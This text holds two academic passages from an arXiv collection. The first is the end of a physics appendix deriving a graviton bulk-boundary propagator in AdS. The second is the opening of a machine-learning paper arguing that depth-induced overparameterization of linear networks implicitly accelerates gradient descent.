This bulk-boundary propagator is no other thing that the solution to the linerized General Relativity equations with Lorenztian signature for space-like momenta and for the boundary conditions and behaviour in the AdS interior stated in the previous paragraph. Of course, this solution yields the solution of the corresponding equations with Euclidean signature --ie, the equations in (\ref{linGR}). Indeed, one just has to replace in the former solution the space-like $k^2$ with $k^2$ defined with Euclidean signature; bear in mind that we are using the most plus Lorentz metric.
Although, as we have discussed in the previous paragraph, the final result presented in this Appendix is not new, we think that the analysis we shall display below will be helpful.
The Fourier transform with regard to $\vec{x}$ of the $00$, $0j$ and $ij$ components of the equation in (\ref{linGR}) read
\begin{equation}
(2(d-1)\breve{h}+z^2k^2) \breve{h}+(d-1)z\breve{h}'-z^2k^ik^jh_{ij}=0
\label{338}
\end{equation}
\begin{equation}
2(k^l h_{lj}-k_j \breve{h})+z(k^l h_{lj}'-k_j \breve{h}')=0
\label{339}
\end{equation}
and
\begin{equation}
\begin{array}{l}
{-z^2 h_{ij}''+(d-5)z h_{ij}'+ (2(d-2)+k^2 z^2)h_{ij}-z^2\big[k^lk_i h_{lj}+k^lk_j h_{li}\big]+z^2\delta_{ij}k^lk^m h_{lm}+}\\[8pt]
{\delta_{ij} z^2\breve{h}''+(5-d)\delta_{ij} z\breve{h}'+(-2 (-2 + d) - k^2 z^2)\delta_{ij} + k_i k_j z^2)\breve{h}=0,}
\label{340}
\end{array}
\end{equation}
respectively. $h_{ij}$ is a function of $z$ and the Fourier momentum $\vec{k}$. $\breve{h}\equiv \delta^{ij} h_{ij}$.
The general solution to (\ref{339}) reads
\begin{equation}
k^l h_{lj}-k_j \breve{h}= \frac{v_j[\vec{k}]}{z^2},
\label{341}
\end{equation}
where $v_j[\vec{k}], j=1..d$ are integration constants. Substituting (\ref{341}) in (\ref{338}), one gets
\begin{equation*}
2(d-1)\breve{h}+(d-1)z\breve{h}'- \vec{k}\cdot \vec{v}[\vec{k}]=0,
\end{equation*}
whose general solution is the following
\begin{equation}
\breve{h}[z,\vec{k}]=\frac{C[\vec{k}]}{z^2}+\frac{1}{2(d-1)}\vec{k}\cdot \vec{v}[\vec{k}],
\label{342}
\end{equation}
where $C[\vec{k}]$ is another integration constant.
Now, since $z=\infty$ corresponds only to a point of Euclidean AdS and we want $h_{ij}[z,\vec{x}$] to have a well-defined --ie, independent of $\vec{x}$ -- limit as $z\rightarrow\infty$, we must demand that
\begin{equation}
\vec{k}\cdot \vec{v}[\vec{k}]=0.
\label{keyeq}
\end{equation}
Indeed, from (\ref{342}), one gets $\lim_{z\rightarrow\infty}\breve{h}[z,\vec{x}]=\frac{1}{2(d-1)}\vec{\partial}\cdot \vec{v}[\vec{x}]$, where $\vec{v}[\vec{x}]$ has $\vec{v}[\vec{k}]$ as Fourier transform. Hence, we must demand that $\vec{\partial}\cdot \vec{v}[\vec{x}]=A$, $A$ being a constant, if we want the large $z$ limit of $h_{ij}[z,\vec{x}]$ to be independent of $\vec{x}$. But, $A$ must be equal to zero, for $\vec{v}[\vec{x}]$ should vanish fast enough as $|\vec{x}|\rightarrow\infty$ --we are assuming that $\vec{v}[\vec{x}]$ has Fourier transform. $\vec{\partial}\cdot \vec{v}[\vec{x}]=0$ implies that its Fourier transform, $\vec{k}\cdot \vec{v}[\vec{k}]$, vanishes.
Let us take stock. What we have obtained so far is that
\begin{equation}
\breve{h}[z,\vec{k}]=\frac{C[\vec{k}]}{z^2},\quad\quad k^l h_{lj}=k_j \breve{h}+ \frac{v_j[\vec{k}]}{z^2}=\frac{1}{z^2}(v_j[\vec{k}]+k_j C[\vec{k}]).
\label{343}
\end{equation}
Recall that $\breve{h}\equiv \delta^{ij}h_{ij}$.
Let us introduce $h^{\tiny{part}}_{ij}[z,\vec{k}]$:
\begin{equation}
h^{\tiny{part}}_{ij}[z,\vec{k}]=\frac{1}{k^2 z^2}(k_i {\cal V}_j[\vec{k}]+k_j {\cal V}_i[\vec{k}]), \quad {\cal V}_j[\vec{k}]=v_j[\vec{k}]+\frac{1}{2} k_j C[\vec{k}].
\label{344}
\end{equation}
Notice that
\begin{equation}
\breve{h}^{\tiny{part}}[z,\vec{k}]=\frac{C[\vec{k}]}{z^2},\quad\quad k^l h^{\tiny{part}}_{lj}=\frac{1}{z^2}(v_j[\vec{k}]+k_j C[\vec{k}]),
\label{345}
\end{equation}
for (\ref{keyeq}) holds. But there is more: $h^{\tiny{part}}_{ij}[z,\vec{k}]$ solves (\ref{338}), (\ref{339}) and (\ref{340}), as can be seen by just substituting (\ref{344}) in those equations. This result is not surprising though, for $h^{\tiny{part}}_{ij}[z,\vec{x}]$ can be recast as gauge transformation that preserves the axial gauge condition $h_{0\mu}[z,\vec{x}]=0$. Indeed, let us define $\Theta_\mu[z,\vec{x}]$ as follows
\begin{equation}
\begin{array}{l}
{\Theta_\mu[z,\vec{x}]=(\Theta_0[z,\vec{x}],\Theta_i[z,\vec{x}]),}\\[8pt]
{\Theta_0[z,\vec{x}]=0,\quad \Theta_i[z,\vec{x}]=\frac{i}{z^2}\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x} \frac{{\cal V}_i [\vec{k}]}{k^2}.}
\label{gaugefield}
\end{array}
\end{equation}
Then the following gauge transformation
\begin{equation}
\tilde{\nabla}_\mu\Theta_{\nu}+\tilde{\nabla}_\nu \Theta_{\mu},
\label{gaugettrans}
\end{equation}
where the covariant derivative is defined with regard to the metric $\tilde{g}_{\mu\nu}$ with line element in (\ref{standardmetric}), is such that
\begin{equation*}
\begin{array}{l}
{\tilde{\nabla}_0\Theta_0=0,\quad \tilde{\nabla}_0\Theta_i+\tilde{\nabla}_i \Theta_0=0,}\\[8pt]
{\tilde{\nabla}_i\Theta_j+\tilde{\nabla}_j \Theta_i=\int\frac{d^d k}{(2\pi)^d}\;e^{-i k\cdot x}\,\frac{1}{z^2 k^2}(k_i {\cal V}_j[\vec{k}]+k_j {\cal V}_i[\vec{k}]).}
\end{array}
\end{equation*}
This last equation is (\ref{344}).
Next, let express $h_{ij}[z,\vec{k}]$, a solution to (\ref{338}), (\ref{339}) and (\ref{340}) satisfying (\ref{343}) for given ${\cal V}_i[\vec{k}]$ and $C[\vec{k}]$, as follows:
\begin{equation}
h_{ij}[z,\vec{k}]\,=\,h_{ij}^{tt}[z,\vec{k}]+h_{ij}^{\tiny{part}}[z,\vec{k}].
\label{httdef}
\end{equation}
$h_{ij}^{\tiny{part}}[z,\vec{k}]$ is defined in (\ref{344}). It follows from (\ref{343}) and (\ref{345}) that
\begin{equation}
\breve{h}^{tt}[z,\vec{k}]=0,\quad\quad k^l h^{tt}_{lj}=0,
\label{transversGR}
\end{equation}
where $\breve{h}^{tt}[z,\vec{k}]\equiv \delta^{ij}h_{ij}^{\tiny{part}}[z,\vec{k}]$.
Substituting (\ref{httdef}) in (\ref{338}) and (\ref{339}), one sees that they are trivially satisfied. But the substitution of (\ref{httdef}) in (\ref{340}) yields the following equation
\begin{equation}
z^2 h_{ij}^{tt\,''}[z,\vec{k}]-(-5+d) z h_{ij}^{tt\,'}[z,\vec{k}]-(-4 + 2 d + k^2 z^2) h_{ij}^{tt}[z,\vec{k}]\,=\,0.
\label{odfbyhtt}
\end{equation}
We have met this equation already: it is equation (\ref{simpleeomij}). Hence, we know --see analysis below (\ref{simpleeomij})-- that the general solution to (\ref{odfbyhtt}) which has a well-defined limit as $z\rightarrow\infty$ and satisfy Dirichlet boundary condition at $z=\epsilon_0$ reads
\begin{equation*}
h_{ij}^{tt}[z,\vec{k}]=\left(\frac{L}{z}\right)^2\,h^{tt\,i}_{j}[z,\vec{k}],\quad h^{tt\,i}_{j}[z,\vec{k}]=H^i_j[z,\vec{k}],
\end{equation*}
where $H^i_j[z,\vec{k}]$ is given in (\ref{HIJresult}). Let us stress that the previous equation has been of paramount importance to our discussion in sections 4 and 5.
Now, it is not difficult to see that (\ref{transversGR}) can be recast as follows
\begin{equation*}
\tilde{g}^{\mu\nu}h_{\mu\nu}^{tt}=0,\quad \tilde{\nabla}^{\mu}h_{\mu\nu}^{tt}=0,
\end{equation*}
where $h_{0\mu}$ is by definition equal to zero. Substituting the previous to equation in (\ref{linGR}), one gets
\begin{equation*}
\tilde{\Box}h^{tt}_{\mu\nu}=-\frac{2}{L^2}.
\end{equation*}
Let us finally point out that $h_{ij}[z,\vec{x}]$, as obtained from its Fourier transform in (\ref{httdef}), differs from $h_{ij}^{tt}[z,\vec{x}]$ by the gauge transformation in (\ref{gaugettrans}) and (\ref{gaugefield}); this gauge transformation preserves the axial gauge condition.
\newpage
|
1,477,468,750,008 | arxiv | \section{Introduction} \label{sec:intro}
How does depth help?
This central question of deep learning still eludes full theoretical understanding.
The general consensus is that there is a trade-off: increasing depth improves expressiveness, but complicates optimization.
Superior expressiveness of deeper networks, long suspected, is now confirmed by theory, albeit for fairly limited learning problems~\cite{eldan2015power,raghu2016expressive,lee2017ability,cohen2017analysis,daniely2017depth,arora2018understanding}.
Difficulties in optimizing deeper networks have also been long clear~--~the signal held by a gradient gets buried as it propagates through many layers.
This is known as the ``vanishing/exploding gradient problem''.
Modern techniques such as batch normalization~\cite{ioffe2015batch} and residual connections~\cite{he2015deep} have somewhat alleviated these difficulties in practice.
Given the longstanding consensus on expressiveness \vs~optimization trade-offs, this paper conveys a rather counterintuitive message: increasing depth can \emph{accelerate} optimization.
The effect is shown, via first-cut theoretical and empirical analyses, to resemble a combination of two well-known tools in the field of optimization:
\emph{momentum}, which led to provable acceleration bounds~\cite{nesterov1983method};
and \emph{adaptive regularization}, a more recent technique proven to accelerate by \citet{duchi2011adaptive} in their proposal of the AdaGrad algorithm.
Explicit mergers of both techniques are quite popular in deep learning~\cite{kingma2014adam,tieleman2012lecture}.
It is thus intriguing that merely introducing depth, with no other modification, can have a similar effect,~but \emph{implicitly}.
There is an obvious hurdle in isolating the effect of depth on optimization: if increasing depth leads to faster training on a given dataset, how can one tell whether the improvement arose from a true acceleration phenomenon, or simply due to better representational power (the shallower network was unable to attain the same training loss)?
We respond to this hurdle by focusing on \emph{linear neural networks} (\cf~\citet{saxe2013exact,goodfellow2016deep,hardt2016identity,kawaguchi2016deep}).
With these models, adding layers does not alter expressiveness; it manifests itself only in the replacement of a matrix parameter by a product of matrices~--~an \emph{overparameterization}.
We provide a new analysis of linear neural network optimization via direct treatment of the differential equations associated with gradient descent when training arbitrarily deep networks on arbitrary loss functions.
We find that the overparameterization introduced by depth leads gradient descent to operate as if it were training a shallow (single layer) network, while employing a particular preconditioning scheme.
The preconditioning promotes movement along directions already taken by the optimization, and can be seen as an acceleration procedure that combines momentum with adaptive learning rates.
Even on simple convex problems such as linear regression with $\ell_p$~loss, $p>2$, overparameterization via depth can significantly speed up training.
Surprisingly, in some of our experiments, not only did overparameterization outperform na\"ive gradient descent, but it was also faster than two well-known acceleration methods~--~AdaGrad~\cite{duchi2011adaptive} and AdaDelta~\cite{zeiler2012adadelta}.
In addition to purely linear networks, we also demonstrate (empirically) the implicit acceleration of overparameterization on a non-linear model, by replacing hidden layers with depth-$2$ linear networks.
The implicit acceleration of overparametrization is different from standard regularization~--~we prove its effect cannot be attained via gradients of \emph{any} fixed regularizer.
Both our theoretical analysis and our empirical evaluation indicate that acceleration via overparameterization need not be computationally expensive.
From an optimization perspective, overparameterizing using wide or narrow networks has the same effect~--~it is only the depth that matters.
The remainder of the paper is organized as follows.
In Section~\ref{sec:related} we review related work.
Section~\ref{sec:warmup} presents a warmup example of linear regression with $\ell_p$~loss, demonstrating the immense effect overparameterization can have on optimization, with as little as a single additional scalar.
Our theoretical analysis begins in Section~\ref{sec:lnn}, with a setup of preliminary notation and terminology.
Section~\ref{sec:dynamics} derives the preconditioning scheme implicitly induced by overparameterization, followed by Section~\ref{sec:impossible} which shows that this form of preconditioning is not attainable via any regularizer.
In Section~\ref{sec:acceleration} we qualitatively analyze a very simple learning problem, demonstrating how the preconditioning can speed up optimization.
Our empirical evaluation is delivered in Section~\ref{sec:exp}.
Finally, Section~\ref{sec:conc} concludes.
\section{Related Work} \label{sec:related}
Theoretical study of optimization in deep learning is a highly active area of research.
Works along this line typically analyze critical points (local minima, saddles) in the landscape of the training objective, either for linear networks (see for example \citet{kawaguchi2016deep,hardt2016identity} or \citet{baldi1989neural} for a classic account), or for specific non-linear networks under different restrictive assumptions (\cf~\citet{choromanska2015loss,Haeffele:2015vz,soudry2016no,safran2017spurious}).
Other works characterize other aspects of objective landscapes, for example~\citet{safran2016quality} showed that under certain conditions a monotonically descending path from initialization to global optimum exists (in compliance with the empirical observations of~\citet{goodfellow2014qualitatively}).
The dynamics of optimization was studied in~\citet{fukumizu1998effect} and~\citet{saxe2013exact}, for linear networks.
Like ours, these works analyze gradient descent through its corresponding differential equations.
\citet{fukumizu1998effect}~focuses on linear regression with~$\ell_2$ loss, and does not consider the effect of varying depth~--~only a two (single hidden) layer network is analyzed.
\citet{saxe2013exact}~also focuses on $\ell_2$~regression, but considers any depth beyond two (inclusive), ultimately concluding that increasing depth can \emph{slow down} optimization, albeit by a modest amount.
In contrast to these two works, our analysis applies to a general loss function, and any depth including one.
Intriguingly, we find that for $\ell_p$~regression, acceleration by depth is revealed only when~$p>2$.
This explains why the conclusion reached in~\citet{saxe2013exact} differs from ours.
Turning to general optimization, accelerated gradient (momentum) methods were introduced in~\citet{nesterov1983method}, and later studied in numerous works (see~\citet{wibisono2016variational} for a short review).
Such methods effectively accumulate gradients throughout the entire optimization path, using the collected history to determine the step at a current point in time.
Use of preconditioners to speed up optimization is also a well-known technique.
Indeed, the classic Newton's method can be seen as preconditioning based on second derivatives.
Adaptive preconditioning with only first-order (gradient) information was popularized by the BFGS algorithm and its variants (\cf~\citet{jorge}).
Relevant theoretical guarantees, in the context of regret minimization, were given in~\citet{HAK07,duchi2011adaptive}.
In terms of combining momentum and adaptive preconditioning, Adam~\cite{kingma2014adam} is a popular approach, particularly for optimization of deep networks.
Algorithms with certain theoretical guarantees for non-convex optimization, and in particular for training deep neural networks, were recently suggested in various works, for example \citet{ge2015escaping,agarwal2017finding,carmon2016accelerated,Janzamin:2015uz,livni2013algorithm} and references therein.
Since the focus of this paper lies on the analysis of algorithms already used by practitioners, such works lie outside our scope.
\section{Warmup: $\ell_p$ Regression} \label{sec:warmup}
We begin with a simple yet striking example of the effect being studied.
For linear regression with $\ell_p$~loss, we will see how even the slightest overparameterization can have an immense effect on optimization.
Specifically, we will see that simple gradient descent on an objective overparameterized by a single scalar, corresponds to a form of accelerated gradient descent on the original objective.
Consider the objective for a scalar linear regression problem with~$\ell_p$ loss ($p$~--~even positive integer):
\vspace{-2mm}
$$L(\w)=\EE\nolimits_{(\x,y)\sim{S}}\Big[\tfrac{1}{p}(\x^\top\w-y)^p\Big]$$
\vspace{-5mm}\\
$\x\in\R^d$ here are instances, $y\in\R$ are continuous labels, $S$~is a finite collection of labeled instances (training set), and $\w\in\R^d$ is a learned parameter vector.
Suppose now that we apply a simple overparameterization, replacing the parameter vector~$\w$ by a vector~$\w_1\in\R^d$ times a scalar~$w_2\in\R$:
\vspace{-2mm}
$$L(\w_1,w_2)=\EE\nolimits_{(\x,y)\sim{S}}\Big[\tfrac{1}{p}(\x^\top\w_1{w}_2-y)^p\Big]$$
\vspace{-5mm}\\
Obviously the overparameterization does not affect the expressiveness of the linear model.
How does it affect optimization?
What happens to gradient descent on this non-convex objective?
\begin{observation}
Gradient descent over~$L(\w_1,w_2)$, with fixed small learning rate and near-zero initialization, is equivalent to gradient descent over~$L(\w)$ with particular adaptive learning rate and momentum terms.
\end{observation}
To see this, consider the gradients of~$L(\w)$ and\,$L(\w_1,w_2)$:
\vspace{-1mm}
\beas
\nabla_\w~~&:=&\EE\nolimits_{(\x,y)\sim{S}}\big[(\x^\top\w-y)^{p-1}\x\big] \\
\nabla_{\w_1}&:=&\EE\nolimits_{(\x,y)\sim{S}}\big[(\x^\top\w_1{w}_2-y)^{p-1}w_2\x\big] \\
\nabla_{w_2}&:=&\EE\nolimits_{(\x,y)\sim{S}}\big[(\x^\top\w_1{w}_2-y)^{p-1}\w_1^\top\x\big]
\eeas
\vspace{-5mm}\\
Gradient descent over~$L(\w_1,w_2)$ with learning rate~$\eta>0$:
\vspace{-1mm}
$$\w_1^{(t+1)}\mapsfrom\w_1^{(t)}{-}\eta\nabla_{\w_1^{(t)}}
\quad,\quad
w_2^{(t+1)}\mapsfrom{w}_2^{(t)}{-}\eta\nabla_{w_2^{(t)}}$$
\vspace{-5mm}\\
The dynamics of the underlying parameter $\w=\w_{1}w_2$ are:
\vspace{-1mm}
\beas
\w^{(t+1)}=\w_1^{(t+1)}w_2^{(t+1)}
\qquad\qquad\qquad\qquad\qquad\qquad\qquad\\
\mapsfrom(\w_1^{(t)}{-}\eta\nabla_{\w_1^{(t)}})(w_2^{(t)}{-}\eta\nabla_{w_2^{(t)}})
~~~\quad\qquad\qquad\qquad\qquad\\
=\w_1^{(t)}w_2^{(t)}-\eta{w}_2^{(t)}\nabla_{\w_1^{(t)}}-\eta\nabla_{w_2^{(t)}}\w_1^{(t)}+\OO(\eta^2)
\,~~~~\qquad\\
=\w^{(t)}-\eta(w_2^{(t)})^2\nabla_{\w^{(t)}}-\eta(w_2^{(t)})^{-1}\nabla_{w_2^{(t)}}\w^{(t)}+\OO(\eta^2)
\,
\eeas
\vspace{-5mm}\\
$\eta$ is assumed to be small, thus we neglect~$\OO(\eta^2)$.
Denoting $\rho^{(t)}{:=}\eta(w_2^{(t)})^2\,{\in}\,\R$ and $\gamma^{(t)}{:=}\eta(w_2^{(t)})^{-1}\nabla_{w_2^{(t)}}\,{\in}\,\R$, this gives:
\vspace{-2mm}
$$\w^{(t+1)}\mapsfrom\w^{(t)}-\rho^{(t)}\nabla_{\w^{(t)}}-\gamma^{(t)}\w^{(t)}$$
\vspace{-6mm}\\
Since by assumption $\w_1$ and~$w_2$ are initialized near zero, $\w$~will initialize near zero as well.
This implies that at every iteration~$t$, $\w^{(t)}$~is a weighted combination of past gradients.
There thus exist $\mu^{(t,\tau)}\in\R$ such that:
\vspace{-2mm}
$$\w^{(t+1)}\mapsfrom\w^{(t)}-\rho^{(t)}\nabla_{\w^{(t)}}-\sum\nolimits_{\tau=1}^{t-1}\mu^{(t,\tau)}\nabla_{\w^{(\tau)}}$$
\vspace{-5mm}\\
We conclude that the dynamics governing the underlying parameter~$\w$ correspond to gradient descent with a momentum term, where both the learning rate~($\rho^{(t)}$) and momentum coefficients~($\mu^{(t,\tau)}$) are time-varying and adaptive.
\section{Linear Neural Networks} \label{sec:lnn}
Let~$\X:=\R^d$ be a space of objects (\eg~images or word embeddings) that we would like to infer something about, and let~$\Y:=\R^k$ be the space of possible inferences.
Suppose we are given a training set $\{(\x^{(i)},\y^{(i)})\}_{i=1}^{m}\subset\X\times\Y$, along with a (point-wise) loss function~$l:\Y\times\Y\to\R_{\geq0}$.
For example, $\y^{(i)}$~could hold continuous values with~$l(\cdot)$ being the $\ell_2$~loss: $l(\hat{\y},\y)=\frac{1}{2}\norm{\hat{\y}-\y}_2^2$; or it could hold one-hot vectors representing categories with~$l(\cdot)$ being the softmax-cross-entropy loss: $l(\hat{\y},\y)=-\sum_{r=1}^{k}y_r\log(e^{\hat{y}_r}/\sum_{r'=1}^{k}e^{\hat{y}_{r'}})$, where $y_r$ and~$\hat{y}_r$ stand for coordinate~$r$ of~$\y$ and~$\hat{\y}$ respectively.
For a predictor~$\phi$, \ie~a mapping from~$\X$ to~$\Y$, the overall training loss is~$L(\phi):=\frac{1}{m}\sum_{i=1}^{m}l(\phi(\x^{(i)}),\y^{(i)})$.
If~$\phi$ comes from some parametric family~$\Phi:=\{\phi_\theta:\X\to\Y |\theta\in\Theta\}$, we view the corresponding training loss as a function of the parameters, \ie~we consider $L^\Phi(\theta):=\frac{1}{m}\sum_{i=1}^{m}l(\phi_\theta(\x^{(i)}),\y^{(i)})$.
For example, if the parametric family in question is the class of (directly parameterized) linear predictors:
\vspace{-2mm}
\be
\Phi^{lin}:=\{\x\mapsto{W\x}|W\in\R^{k,d}\}
\label{eq:lin}
\ee
\vspace{-6mm}\\
the respective training loss is a function from~$\R^{k,d}$ to~$\R_{\geq0}$.
\vspace{1mm}
In our context, a depth-$N$ ($N\geq2$) linear neural network, with hidden widths~$n_1,n_2,\ldots,n_{N-1}{\in}\N$, is the following parametric family of linear predictors: $\Phi^{n_1{\ldots}n_{N-1}}:=\left\{\x\mapsto{W_{N}W_{N-1}{\cdots}W_1\x}|W_j{\in}\R^{n_j,n_{j-1}},j{=}1...N\right\}$,~where by definition $n_0:=d$ and~$n_N:=k$.
As customary, we refer to each~$W_j$, $j{=}1...N$, as the weight matrix of layer~$j$.
For simplicity of presentation, we hereinafter omit from our notation the hidden widths $n_1...n_{N-1}$, and simply write~$\Phi^N$ instead of~$\Phi^{n_1{\ldots}n_{N-1}}$ ($n_1{\ldots}n_{N-1}$ will be specified explicitly if not clear by context).
That is, we denote:
\vspace{-2mm}
\bea
&\Phi^N:= &
\label{eq:lnn} \\
&\left\{\x\mapsto{W_{N}W_{N-1}{\cdots}W_1\x}|~W_j\in\R^{n_j,n_{j-1}},~j{=}1...N\right\}&
\nonumber
\eea
\vspace{-6mm}\\
For completeness, we regard a depth-$1$ network as the family of directly parameterized linear predictors, \ie~we set~$\Phi^1:=\Phi^{lin}$ (see Equation~\ref{eq:lin}).
The training loss that corresponds to a depth-$N$ linear network~--~$L^{\Phi^N}(W_1,...,W_N)$, is a function from $\R^{n_1,n_0}{\times}{\cdots}{\times}\R^{n_N,n_{N-1}}$ to~$\R_{\geq0}$.
For brevity, we will denote this function by~$L^{N}(\cdot)$.
Our focus lies on the behavior of gradient descent when minimizing~$L^{N}(\cdot)$.
More specifically, we are interested in the dependence of this behavior on~$N$, and in particular, in the possibility of increasing~$N$ leading to acceleration.
Notice that for any~$N\geq2$ we have:
\vspace{-2mm}
\be
L^N(W_1,...,W_N)=L^1(W_{N}W_{N-1}{\cdots}W_1)
\label{eq:lnn_loss_oprm}
\ee
and so the sole difference between the training loss of a depth-$N$ network and that of a depth-$1$ network (classic linear model) lies in the replacement of a matrix parameter by a product of~$N$ matrices.
This implies that if increasing~$N$ can indeed accelerate convergence, it is not an outcome of any phenomenon other than favorable properties of depth-induced overparameterization for optimization.
\vspace{1mm}
\section{Implicit Dynamics of Gradient Descent} \label{sec:dynamics}
In this section we present a new result for linear neural networks, tying the dynamics of gradient descent on~$L^N(\cdot)$~--~the training loss corresponding to a depth-$N$ network, to those on~$L^1(\cdot)$~--~training loss of a depth-$1$ network (classic linear model).
Specifically, we show that gradient descent on~$L^N(\cdot)$, a complicated and seemingly pointless overparameterization, can be directly rewritten as a particular preconditioning scheme over gradient descent on~$L^1(\cdot)$.
When applied to~$L^N(\cdot)$, gradient descent takes on the following form:
\vspace{-2mm}
\bea
W_j^{(t+1)} \mapsfrom (1-\eta\lambda)W_j^{(t)}-\eta\frac{\partial{L^N}}{\partial{W_j}}(W_1^{(t)},\ldots,W_N^{(t)})&&
\label{eq:Wj_gd}\\[-0.5mm]
,~j=1{\ldots}N&&
\nonumber
\eea
\vspace{-5mm}\\
$\eta>0$~here is a learning rate, and $\lambda\geq0$~is an optional weight decay coefficient.
For simplicity, we regard both~$\eta$ and~$\lambda$ as fixed (no dependence on~$t$).
Define the underlying \emph{end-to-end weight matrix}:
\be
W_e:=W_{N}W_{N-1}\cdots{W}_1
\label{eq:We}
\ee
\vspace{-4mm}\\
Given that $L^N(W_1,\ldots,W_N)=L^1(W_e)$ (Equation~\ref{eq:lnn_loss_oprm}), we view~$W_e$ as an optimized weight matrix for~$L^1(\cdot)$, whose dynamics are governed by Equation~\ref{eq:Wj_gd}.
Our interest then boils down to the study of these dynamics for different choices of~$N$.
For~$N=1$ they are (trivially) equivalent to standard gradient descent over~$L^1(\cdot)$.
We will characterize the dynamics for~$N\geq2$.
To be able to derive, in our general setting, an explicit update rule for the end-to-end weight matrix~$W_e$~(Equation~\ref{eq:We}), we introduce an assumption by which the learning rate is small, \ie~$\eta^2\approx0$.
Formally, this amounts to translating Equation~\ref{eq:Wj_gd} to the following set of differential equations:
\vspace{-1mm}
\bea
\dot{W}_j(t)=-\eta\lambda{W}_j(t)-\eta\frac{\partial{L^N}}{\partial{W_j}}(W_1(t),\ldots,W_N(t))&&
\label{eq:Wj_gf}\\[-0.5mm]
,~j=1{\ldots}N&&
\nonumber
\eea
\vspace{-5mm}\\
where~$t$ is now a continuous time index, and~$\dot{W}_j(t)$ stands for the derivative of~$W_j$ with respect to time.
The use of differential equations, for both theoretical analysis and algorithm design, has a long and rich history in optimization research (see~\citet{helmke2012optimization} for an overview).
When step sizes (learning rates) are taken to be small, trajectories of discrete optimization algorithms converge to smooth curves modeled by continuous-time differential equations, paving way to the well-established theory of the latter (\cf~\citet{boyce1969elementary}).
This approach has led to numerous interesting findings, including recent results in the context of acceleration methods~(\eg~\citet{su2014differential,wibisono2016variational}).
With the continuous formulation in place, we turn to express the dynamics of the end-to-end matrix~$W_e$:
\begin{theorem}
\label{theorem:We_gf}
Assume the weight matrices~$W_1{\ldots}W_N$ follow the dynamics of continuous gradient descent (Equation~\ref{eq:Wj_gf}).
Assume also that their initial values (time~$t_0$) satisfy, for $j=1{\ldots}N-1$:
\bea
W_{j+1}^\top(t_0)W_{j+1}(t_0)=W_j(t_0)W^\top_j(t_0)&&
\label{eq:Wj_agree}
\eea
Then, the end-to-end weight matrix~$W_e$ (Equation~\ref{eq:We}) is governed by the following differential equation:
\bea
\dot{W}_e(t)=-\eta\lambda{N}\cdot{W}_e(t)
\quad\quad\qquad\qquad\qquad\qquad\qquad
\label{eq:We_gf}\\
-\eta\sum\nolimits_{j=1}^N\left[W_e(t)W_e^\top(t)\right]^\frac{j-1}{N}\cdot
\quad\qquad\qquad
\nonumber\\[-2mm]
\tfrac{dL^1}{dW}(W_e(t))\cdot\left[W_e^\top(t)W_e(t)\right]^\frac{N-j}{N}
\nonumber
\eea
where $[\cdot]^\frac{j-1}{N}$~and~$[\cdot]^\frac{N-j}{N}$, $j=1\ldots{N}$, are fractional power operators defined over positive semidefinite matrices.
\end{theorem}
\begin{proof}(sketch~--~full details in Appendix~\ref{app:proofs:We_gf})
If $\lambda\,{=}\,0$ (no weight decay) then one can easily show that $W_{j+1}^\top(t)\dot{W}_{j+1}(t)=\dot{W}_j(t)W_j^\top(t)$ throughout optimization.
Taking the transpose of this equation and adding to itself, followed by integration over time, imply that the difference between $W_{j+1}^\top(t)W_{j+1}(t)$ and~$W_j(t)W_j^\top(t)$ is constant.
This difference is zero at initialization (Equation~\ref{eq:Wj_agree}), thus will remain zero throughout,~\ie:
\vspace{-1mm}
\be
W_{j+1}^\top(t)W_{j+1}(t)=W_j(t)W_j^\top(t)\quad,~\forall{t\geq{t_0}}
\label{eq:Wj_agree_throughout}
\ee
\vspace{-5mm}\\
A slightly more delicate treatment shows that this is true even if~$\lambda>0$, \ie~with weight decay included.
Equation~\ref{eq:Wj_agree_throughout} implies alignment of the (left and right) singular spaces of~$W_j(t)$ and~$W_{j+1}(t)$, simplifying the product~$W_{j+1}(t)W_j(t)$.
Successive application of this simplification allows a clean computation for the product of all layers (that is,~$W_e$), leading to the explicit form presented in theorem statement (Equation~\ref{eq:We_gf}).
\end{proof}
Translating the continuous dynamics of Equation~\ref{eq:We_gf} back to discrete time, we obtain the sought-after update rule for the end-to-end weight matrix:
\vspace{-1mm}
\bea
W_e^{(t+1)}\mapsfrom(1-\eta\lambda{N})W_e^{(t)}
\quad\qquad\qquad\qquad\qquad\qquad
\label{eq:We_gd}\\
-\eta\sum\nolimits_{j=1}^N\left[W_e^{(t)}(W_e^{(t)})^\top\right]^\frac{j-1}{N}\cdot
\quad\quad\qquad
\nonumber\\[-2mm]
\tfrac{dL^1}{dW}(W_e^{(t)})\cdot\left[(W_e^{(t)})^\top{W}_e^{(t)}\right]^\frac{N-j}{N}
\nonumber
\eea
\vspace{-5mm}\\
This update rule relies on two assumptions:
first, that the learning rate~$\eta$ is small enough for discrete updates to approximate continuous ones;
and second, that weights are initialized on par with Equation~\ref{eq:Wj_agree}, which will approximately be the case if initialization values are close enough to zero.
It is customary in deep learning for both learning rate and weight initializations to be small, but nonetheless above assumptions are only met to a certain extent.
We support their applicability by showing empirically (Section~\ref{sec:exp}) that the end-to-end update rule (Equation~\ref{eq:We_gd}) indeed provides an accurate description for the dynamics of~$W_e$.
A close look at Equation~\ref{eq:We_gd} reveals that the dynamics of the end-to-end weight matrix~$W_e$ are similar to gradient descent over~$L^1(\cdot)$~--~training loss corresponding to a depth-$1$ network (classic linear model).
The only difference (besides the scaling by~$N$ of the weight decay coefficient~$\lambda$) is that the gradient~$\frac{dL^1}{dW}(W_e)$ is subject to a transformation before being used.
Namely, for~$j=1{\ldots}N$, it is multiplied from the left by~$[W_{e}W_e^\top]^\frac{j-1}{N}$ and from the right by~$[W_e^\top{W}_e]^\frac{N-j}{N}$, followed by summation over~$j$.
Clearly, when~$N=1$ (depth-$1$ network) this transformation reduces to identity, and as expected, $W_e$~precisely adheres to gradient descent over~$L^1(\cdot)$.
When~$N\geq2$ the dynamics of~$W_e$ are less interpretable.
We arrange it as a vector to gain more insight:
\begin{claim}
\label{claim:We_gd_vec}
For an arbitrary matrix~$A$, denote by~$vec(A)$ its arrangement as a vector in column-first order.
Then, the end-to-end update rule in Equation~\ref{eq:We_gd} can be written as:
\vspace{-0.5mm}
\bea
vec(W_e^{(t+1)})\mapsfrom(1-\eta\lambda{N})\cdot{vec}(W_e^{(t)})
\qquad\qquad
\label{eq:We_gd_vec}\\
-\eta\cdot{P}_{W_e^{(t)}}vec\left(\tfrac{dL^1}{dW}(W_e^{(t)})\right)
\nonumber
\eea
\vspace{-4mm}\\
